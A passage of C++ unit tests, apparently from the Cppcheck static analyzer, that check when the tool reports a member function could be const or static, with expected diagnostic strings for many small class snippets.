(Fred::*UnspecifiedBoolType);\\n\"\n \" operator UnspecifiedBoolType() { array[0] = 0; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constoperator5() { // ticket #3252\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int& () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator const int& () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorconstint&' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorint' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator6() { // ticket #8669\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \" void f() { os >> *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const5() {\n // ticket #1482\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \" bool foo(int i)\\n\"\n \" {\\n\"\n \" bool same;\\n\"\n \" same = (i == a);\\n\"\n \" return same;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const6() {\n // ticket #1491\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \"};\\n\"\n \"void bar() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void foo() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct fast_string\\n\"\n \"{\\n\"\n \" union\\n\"\n \" {\\n\"\n \" char buff[100];\\n\"\n \" };\\n\"\n \" void set_type(char t);\\n\"\n \"};\\n\"\n \"inline void fast_string::set_type(char t)\\n\"\n \"{\\n\"\n \" buff[10] = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const7() {\n checkConst(\"class foo {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" void set(int i) { a = i; }\\n\"\n \" void set(const foo & f) { *this = f; }\\n\"\n \"};\\n\"\n \"void bar() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const8() {\n // ticket #1517\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A():m_strValue(\\\"\\\"){}\\n\"\n \" std::string strGetString() { return m_strValue; }\\n\"\n \"private:\\n\"\n \" std::string m_strValue;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style, inconclusive) Technically the member function 'A::strGetString' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const9() {\n // ticket #1515\n checkConst(\"class wxThreadInternal {\\n\"\n \"public:\\n\"\n \" void SetExitCode(wxThread::ExitCode exitcode) { m_exitcode = exitcode; }\\n\"\n \"private:\\n\"\n \" wxThread::ExitCode m_exitcode;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const10() {\n // ticket #1522\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x = 0; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x ? x : x = 0; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x ? x = 0 : x; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const11() {\n // ticket #1529\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" void set(struct tm time) { m_time = time; }\\n\"\n \"private:\\n\"\n \" struct tm m_time;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const12() {\n // ticket #1525\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { x = 0; }\\n\"\n \"private:\\n\"\n \" mutable int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const13() {\n // ticket #1519\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::vector GetVec() {return m_vec;}\\n\"\n \" std::pair GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::vector m_vec;\\n\"\n \" std::pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\"\n \"[test.cpp:5:27]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::vector & GetVec() {return m_vec;}\\n\"\n \" const std::pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::vector m_vec;\\n\"\n \" std::pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:30]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\"\n \"[test.cpp:5:35]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const14() {\n // extends ticket 1519\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair,double> GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair,double>& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:47]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair,double>& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int,std::vector > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< int,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:47]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair< vector, int > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const pair< vector, int >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:38]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair< vector, int >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::vector,std::vector > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:53]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< std::vector,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:60]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::vector,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::pair < int, char > , int > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:49]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< std::pair < int, char > , int > & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:56]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::pair < int, char > , int > & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int , std::pair < int, char > > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:49]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< int , std::pair < int, char > >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:56]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int , std::pair < int, char > >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" vector GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const vector& GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" vector& GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int * * foo() { return &x; }\\n\"\n \"private:\\n\"\n \" const int * x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" const int ** foo() { return &x; }\\n\"\n \"private:\\n\"\n \" const int * x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const15() {\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \" unsigned long long int getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n // constructors can't be const..\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \"public:\\n\"\n \" Fred() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment through |=..\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \" unsigned long long int setA() { a |= true; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned long long int get()\\n\"\n \" { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const16() {\n // ticket #1551\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void set(int i) { Fred::a = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const17() {\n // ticket #1552\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" void set(int i, int j) { a[i].k = i; }\\n\"\n \"private:\\n\"\n \" struct { int k; } a[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const18() {\n checkConst(\"class Fred {\\n\"\n \"static int x;\\n\"\n \"public:\\n\"\n \" void set(int i) { x = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::set' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const19() {\n // ticket #1612\n checkConst(\"using namespace std;\\n\"\n \"class Fred {\\n\"\n \"private:\\n\"\n \" std::string s;\\n\"\n \"public:\\n\"\n \" void set(std::string ss) { s = ss; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const20() {\n // ticket #1602\n checkConst(\"class Fred {\\n\"\n \" int x : 3;\\n\"\n \"public:\\n\"\n \" void set(int i) { x = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" list x;\\n\"\n \"public:\\n\"\n \" list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" list x;\\n\"\n \"public:\\n\"\n \" list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::list x;\\n\"\n \"public:\\n\"\n \" std::list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::list x;\\n\"\n \"public:\\n\"\n \" std::list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:36]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const21() {\n // ticket #1683\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" const char * l1[10];\\n\"\n \"public:\\n\"\n \" A()\\n\"\n \" {\\n\"\n \" for (int i = 0 ; i < 10; l1[i] = NULL, i++);\\n\"\n \" }\\n\"\n \" void f1() { l1[0] = \\\"Hello\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const22() {\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" B::C * v1;\\n\"\n \"public:\\n\"\n \" void f1() { v1 = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" B::C * v1[0];\\n\"\n \"public:\\n\"\n \" void f1() { v1[0] = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const23() {\n checkConst(\"class Class {\\n\"\n \"public:\\n\"\n \" typedef Template Type;\\n\"\n \" typedef Template2 Type2;\\n\"\n \" void set_member(Type2 m) { _m = m; }\\n\"\n \"private:\\n\"\n \" Type2 _m;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const24() {\n checkConst(\"class Class {\\n\"\n \"public:\\n\"\n \"void Settings::SetSetting(QString strSetting, QString strNewVal)\\n\"\n \"{\\n\"\n \" (*m_pSettings)[strSetting] = strNewVal;\\n\"\n \"}\\n\"\n \"private:\\n\"\n \" std::map *m_pSettings;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void const25() { // ticket #1724\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"std::string strGetString() const\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"const std::string strGetString1() const\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"std::string strGetString()\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'A::strGetString' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"const std::string strGetString1()\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:19]: (style, inconclusive) Technically the member function 'A::strGetString1' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVec.push_back(\\\"\\\");}\\n\"\n \"size_t strGetSize()\\n\"\n \"{return m_strVec.size();}\\n\"\n \"private:\\n\"\n \"std::vector m_strVec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style, inconclusive) Technically the member function 'A::strGetSize' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVec.push_back(\\\"\\\");}\\n\"\n \"bool strGetEmpty()\\n\"\n \"{return m_strVec.empty();}\\n\"\n \"private:\\n\"\n \"std::vector m_strVec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (style, inconclusive) Technically the member function 'A::strGetEmpty' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const26() { // ticket #1847\n checkConst(\"class DelayBase {\\n\"\n \"public:\\n\"\n \"void swapSpecificDelays(int index1, int index2) {\\n\"\n \" std::swap(delays_[index1], delays_[index2]);\\n\"\n \"}\\n\"\n \"float delays_[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct DelayBase {\\n\"\n \" float swapSpecificDelays(int index1) {\\n\"\n \" return delays_[index1];\\n\"\n \" }\\n\"\n \" float delays_[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style, inconclusive) Technically the member function 'DelayBase::swapSpecificDelays' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const27() { // ticket #1882\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){m_d=1.0; m_iRealVal=2.0;}\\n\"\n \" double dGetValue();\\n\"\n \"private:\\n\"\n \" double m_d;\\n\"\n \" double m_iRealVal;\\n\"\n \"};\\n\"\n \"double A::dGetValue() {\\n\"\n \" double dRet = m_iRealVal;\\n\"\n \" if( m_d != 0 )\\n\"\n \" return m_iRealVal / m_d;\\n\"\n \" return dRet;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:12] -> [test.cpp:9:12]: (style, inconclusive) Technically the member function 'A::dGetValue' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const28() { // ticket #1883\n checkConst(\"class P {\\n\"\n \"public:\\n\"\n \" P() { x=0.0; y=0.0; }\\n\"\n \" double x,y;\\n\"\n \"};\\n\"\n \"class A : public P {\\n\"\n \"public:\\n\"\n \" A():P(){}\\n\"\n \" void SetPos(double xPos, double yPos) {\\n\"\n \" x=xPos;\\n\"\n \" y=yPos;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class AA : public P {\\n\"\n \"public:\\n\"\n \" AA():P(){}\\n\"\n \" inline void vSetXPos(int x_)\\n\"\n \" {\\n\"\n \" UnknownScope::x = x_;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class AA {\\n\"\n \"public:\\n\"\n \" AA():P(){}\\n\"\n \" inline void vSetXPos(int x_)\\n\"\n \" {\\n\"\n \" UnknownScope::x = x_;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (performance, inconclusive) Technically the member function 'AA::vSetXPos' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n }\n\n void const29() { // ticket #1922\n checkConst(\"class test {\\n\"\n \" public:\\n\"\n \" test();\\n\"\n \" const char* get() const;\\n\"\n \" char* get();\\n\"\n \" private:\\n\"\n \" char* value_;\\n\"\n \"};\\n\"\n \"test::test()\\n\"\n \"{\\n\"\n \" value_ = 0;\\n\"\n \"}\\n\"\n \"const char* test::get() const\\n\"\n \"{\\n\"\n \" return value_;\\n\"\n \"}\\n\"\n \"char* test::get()\\n\"\n \"{\\n\"\n \" return value_;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const30() {\n // check for false negatives\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style, inconclusive) Technically the member function 'Derived::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base1 {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Base2 {\\n\"\n \"public:\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"class Derived : public Base1, public Base2 {\\n\"\n \"public:\\n\"\n \" int getA() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" int getB() {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'Derived::getA' can be const. [functionConst]\\n\"\n \"[test.cpp:14:9]: (style, inconclusive) Technically the member function 'Derived::getB' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style, inconclusive) Technically the member function 'Derived2::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 { };\\n\"\n \"class Derived3 : public Derived2 { };\\n\"\n \"class Derived4 : public Derived3 {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:9]: (style, inconclusive) Technically the member function 'Derived4::get' can be const. [functionConst]\\n\", errout_str());\n\n // check for false positives\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base1 {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Base2 {\\n\"\n \"public:\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"class Derived : public Base1, public Base2 {\\n\"\n \"public:\\n\"\n \" int getA() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" int getB() const {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 { };\\n\"\n \"class Derived3 : public Derived2 { };\\n\"\n \"class Derived4 : public Derived3 {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const31() {\n checkConst(\"namespace std { }\\n\"\n \"class Fred {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \" int get() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const32() {\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" std::string a[10];\\n\"\n \" void seta() { a[0] = \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const33() {\n checkConst(\"class derived : public base {\\n\"\n \"public:\\n\"\n \" void f(){}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Either there is a missing 'override', or the member function 'derived::f' can be static. [functionStatic]\\n\", errout_str());\n }\n\n void const34() { // ticket #1964\n checkConst(\"class Bar {\\n\"\n \" void init(Foo * foo) {\\n\"\n \" foo.bar = this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const35() { // 